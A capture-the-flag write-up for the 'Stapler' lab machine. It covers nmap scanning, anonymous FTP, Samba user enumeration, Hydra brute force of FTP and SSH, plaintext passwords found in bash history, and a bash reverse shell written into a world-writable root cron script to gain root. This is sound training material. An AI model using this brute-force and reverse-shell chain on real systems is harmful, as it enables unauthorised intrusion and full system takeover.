

Stapler

Nmap

```
nmap -Pn -sC -sV -p- 192.168.117.148 -oA full-scan
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times
will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-25 12:54 CST
Nmap scan report for 192.168.117.148
Host is up (0.068s latency).
Not shown: 65523 filtered ports
PORT      STATE  SERVICE      VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp          vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 192.168.49.117
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 4
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh          OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open   tcpwrapped
80/tcp    open   http         PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
```

```

666/tcp open  doom?
| fingerprint-strings:
|   NULL:
|     message2.jpgUT
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp open  mysql      MySQL 5.7.12-0ubuntu1
| mysql-info:
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 8
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, Speaks41ProtocolOld,
DontAllowDatabaseTableColumn, SupportsTransactions, ODBCClient, IgnoreSigpipes,
IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, InteractiveClient,
Speaks41ProtocolNew, LongPassword, LongColumnFlag, FoundRows, SupportsCompression,
ConnectWithDatabase, SupportsMultipleStatments, SupportsMultipleResults,
SupportsAuthPlugins
|   Status: Autocommit
|   Salt: yZ-1lmY\x14A+@@K\x12\x04:T'\x0F\x18
|_  Auth Plugin Name: mysql_native_password
12380/tcp open  http      Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tim, we need to-do better next year for Initech
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-
service :
SF-Port666-TCP:V=7.91%I=7%D=1/25%Time=61F047C4%P=x86_64-pc-linux-gnu%(NUL
SF:L,25DC,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x1
SF:52\0\0\x0c\0\x1c\0message2\ .jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x0
SF:4\x05\x01\0\0\x04\x14\0\0\0xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\xa
SF:2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2\
SF:x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\x
SF:b2\xf7\xb6\x88\n\x82@\%x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xaeu

```

SF:\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\xd
SF:3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\xa
SF:0\xf8\xc0^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4+j\xce[\x
SF:87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\x
SF:f4\xfdis\x0f\xeeM)?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\x
SF:dc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd
SF:5\x1dx\xa20\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xa
SF:f\xbd&\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:
SF:\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\
SF:x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\
SF:xe7\xd0\xa4\x19\x93\xbd\xdf^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf|W\x1c\xfd
SF:\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb90\xf5\xe3\xcc\
SF:x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4|\xb0\
SF:xf1\xc3\x840\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\
SF:xf8H~A\xe1qYQq\xc9w\xa7\xbe?}\xa6\xfc\x0f)?\x9c\xbdTy\xf9\xca\xd5\xaaK
SF:\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy\
SF:xd2\xd5\xfd\xb4\xa7\xf7Y_?n2\xff\xf5\xd7\xdf\x86^\x0c\x8f\x90\x7f\x7f
SF:\xf9\xea\xb5m\x1c\xfc\xfe"\.\x17\xc8\xf5?B\xff\xbf\xc6\xc5,\x82\xcb\
SF:[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_xf9\x
SF:cc[qt\x8a\xef\xba0/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa
SF:7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81\
SF:xfd\xef\xb8\xfa\xa1i\xae\.\x12\x22@g@\x08D\xbb\xbf\x5\xd4\xf4Ym\x0bI\x9
SF:6\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8f
SF:\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSwb\xecN\xfb&\xf4
SF:\xed\xe3v\x130\xb73A#\xf0,\xd5\xc2^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd\
SF:x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\x
SF:cL}AJ\xe5H\x912\x88\(\0\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0
SF:\.npy\.\9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfboG\xed\xf6\x15\x04\
SF:xf6~\xf1\]V\xdcBGU\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\x
SF:f3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13*P\x11\
SF:?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");

Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: 13s, deviation: 0s, median: 12s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red

```
|_ System time: 2022-01-25T18:56:29+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_     Message signing enabled but not required
| smb2-time:
|   date: 2022-01-25T18:56:30
|_ start_date: N/A
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 152.45 seconds

FTP findings

Anonymous login allowed

```
(root@kali) - [~/pg/boxes/Stapler]
# ftp 192.168.117.148
Connected to 192.168.117.148.
220-
220- |-----|
220- | Harry, make sure to update the banner when you get a chance to show who has access here |
220- |-----|
220-
220
Name (192.168.117.148:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Interesting note file

```
(root@kali) - [~/pg/boxes/Stapler]
# cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
```

Samba enum

Enum4linux results

```
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
```

S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

Web enum

port 80

port 12380 (Apache)

Robots.txt

```
User-agent: *  
Disallow: /admin112233/  
Disallow: /blogblog/
```

Internal webpage found

<https://192.168.117.148:12380/blogblog/>

INITECH

Office Life

Home

WEEK 2

There was a fire in the office yesterday, so things have been put on hold for indefinitely.

[Continue reading →](#)

BY IN JOHN SMITH [LEAVE A COMMENT](#)

WEEK 1

Not much happened this week, the office football match got in the way.

[Continue reading →](#)

BY IN JOHN SMITH [LEAVE A COMMENT](#)

WELCOME TO INITECH INTERNAL DEPLOYMENT BLOG.

Hello World!

...That's how you start everything off!

Search ...

RECENT POSTS

Week 2

Week 1

Welcome to Initech Internal deployment blog.

RECENT COMMENTS

ARCHIVES

May 2016

CATEGORIES

Uncategorized

META

Wordpress login and version found

<https://192.168.117.148:12380/blogblog/wp-login.php>

Version 4.2.1

PHPmy admin found

<https://192.168.117.148:12380/phpmyadmin/index.php>

FTP brute force

Bruteforcing for users using their username as their password

Users.txt

peter
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare

LSolum
IChadwick
MFrei
SStroud
CCeaser
JKanode
CJoo
Eeth
LSolum2
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
www
elly

Hydra

```
hydra -f -L users.txt -P users.txt ftp://192.168.117.148 -t 20 -V
```

```
[21][ftp] host: 192.168.117.148 login: SHayslett password: SHayslett  
[STATUS] attack finished for 192.168.117.148 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-25 14:59:45
```

The same for SSH

```
hydra -f -L users.txt -P users.txt ssh://192.168.117.148 -t 20 -s -V
```

```
(root@kali) - [~/pg/boxes/Stapler]  
# hydra -f -L users.txt -P users.txt ssh://192.168.117.148 -t 20 -s -V  
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret  
ations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-25 15:09:41  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to redu  
-t 4  
[DATA] max 20 tasks per 1 server, overall 20 tasks, 900 login tries (l:30/p:30), ~45 tries per  
[DATA] attacking ssh://192.168.117.148:22/  
[22][ssh] host: 192.168.117.148 login: SHayslett password: SHayslett  
[STATUS] attack finished for 192.168.117.148 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-25 15:10:21
```

Priv esc

Linpeas findings

```
Searching possible passwords inside /home/JKanode/.bash_history (limit 100)
sshpas -p thisimypassword ssh JKanode@localhost
sshpas -p JZQuyIN5 ssh peter@localhost
```

/usr/local/sbin/cron-logrotate.sh

Checking the cron jobs we can see cron-logrotate.sh runs every five minutes and is writable by everyone.

```
SHayslett@red:/usr/local/sbin$ ls -la
total 12
drwxr-xr-x  2 root root 4096 Jun  3  2016 .
drwxr-xr-x 10 root root 4096 Jun  3  2016 ..
-rwxrwxrwx  1 root root   51 Jun  3  2016 cron-logrotate.sh
```

```
SHayslett@red:/usr/local/sbin$ cat /etc/cron.d/*
*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
#
```

We can edit the script with vim and add a bash reverse-shell

```
#!/bin/bash
#Simon, you really need to-do something about this
bash -i >& /dev/tcp/192.168.49.117/9001 0>&1
```

Now setup the netcat listner and wait for a connection.

```
(root@kali) - [~/pg/boxes/Stapler]
# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.49.117] from (UNKNOWN) [192.168.117.148] 34926
bash: cannot set terminal process group (21326): Inappropriate ioctl for device
bash: no job control in this shell
root@red:~# id
id
uid=0(root) gid=0(root) groups=0(root)
```